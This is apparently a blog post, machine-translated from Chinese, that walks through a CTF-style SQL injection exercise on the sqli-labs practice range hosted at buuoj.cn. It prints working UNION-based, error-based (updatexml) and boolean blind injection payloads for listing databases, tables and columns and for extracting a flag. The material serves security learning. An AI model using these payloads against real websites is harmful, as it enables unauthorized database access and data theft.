当前位置:网站首页>SQL cross database injection
SQL cross database injection
2022-06-12 14:45:00 【_ Xiao SA】
shooting range :https://buuoj.cn/challenges Of sqli-labs
Joint query injection
L1: First, let's look at the database
select group_concat(schema_name) from information_schema.schemata
complete url:
http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(schema_name) from information_schema.schemata
)'

choice “ctftraining” database
http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(table_name) from information_schema.tables where table_schema="ctftraining"
)'

Choose the name flag Of table
http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name='flag'
)'
Query content
?id=-1' union select 1,2,(
select flag from ctftraining.flag
)'

Error reporting query injection
The error reporting injection procedure is similar , Last flag Display incomplete
?id=1111+and+updatexml(1,concat(0x7e,(
select flag from ctftraining.flag
),0x7e),1); --+

http://d7275205-467b-4f6c-97e6-4669e55b54e9.node4.buuoj.cn/Less-2/?id=1111+and+updatexml(1,concat(0x7e,(
substr((select flag from ctftraining.flag),16)
),0x7e),1); --+

Bull's blind note
First, practice not cross Library
To obtain the length of the
?id=1' and length(database())=8 %23
Get the database name
?id=1' and left(database(),1)='s' %23
Get table name
?id=1' and left( (select group_concat(table_name) from information_schema.tables where table_schema=database()) ,1)='u' %23
To get the column name
?id=1' and left( (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') ,1)='u' %23
get data
http://c370bae3-f008-47ee-9890-d14960b1e5ce.node4.buuoj.cn/Less-8/?id=1' and left(
(select group_concat(username) from users)
,1)='u' %23
边栏推荐
- Configuring OSPF pseudo connection for Huawei devices
- ADSL
- 程序构造和解释之第一章习题
- JMeter (V) pressure test of Excel file upload interface
- junit测试套件方法整理(方法二不太好用)
- JS (III) convert ES6 syntax to Es5 syntax
- [system. Currenttimemillis()] current timestamp: the number of milliseconds that have elapsed since the current system time was 0:00:00 on January 1, 1970
- 【LDA】基础知识笔记——主要是AE、VAE
- 华为设备配置OSPF伪连接
- G++ error in compiling Win32 program: undefined reference to '__ imp_ GetStockObject‘
猜你喜欢

Recursive summary of learning function
![[wechat applet] 5 Applet structure directory](/img/d6/4796c8b8fe482b261c5a1fbf79ba2b.jpg)
[wechat applet] 5 Applet structure directory

ADB command (2) use monkey to test

Ali suggests that all POJO attributes use wrapper classes, but have you noticed these pits?

JS (II) syntaxerror: cannot use import statement outside a module

QT multi thread drawing and real-time refreshing method

Detailed explanation of C language memset

Autofac初学(1)

Junit多线程的写法
![[ROC] aspriseocr C # English, Digital identification (not Chinese)](/img/80/198145df663d2eeec6b8b1d7bc47b6.png)
[ROC] aspriseocr C # English, Digital identification (not Chinese)
随机推荐
【LDA】EM变分推理 粗略版笔记【待完善
En langage C, la fonction principale appelle une autre fonction et assemble le Code pour comprendre
安凯微电子冲刺科创板:年营收5亿 小米产业基金是股东
Visual positioning guidance system for industrial manipulator (robot)
[wechat applet] 6.1 applet configuration file
In C language, the main function calls another function, which is understood by assembly code
数组相关内容
基于TensorRT的深度学习模型部署实战教程!
C secret arts script Chapter 5 (structure) (Section 1)
交换数字,异或求单,操作符相关
Raspberry pie get temperature and send pictures to email
Reverse the encryption parameters of a hot water software
Serialization and deserialization mechanism in terms of games
Common DOS commands
junit测试套件方法整理(方法二不太好用)
Webdriver opens in full screen and a prompt "Chrome is under the control of automatic test software" appears in Chrome
[gatewaysessioninactiveevent event] 1 Connect your own client disconnect
sql跨库注入
QT multi thread drawing and real-time refreshing method
数据的收集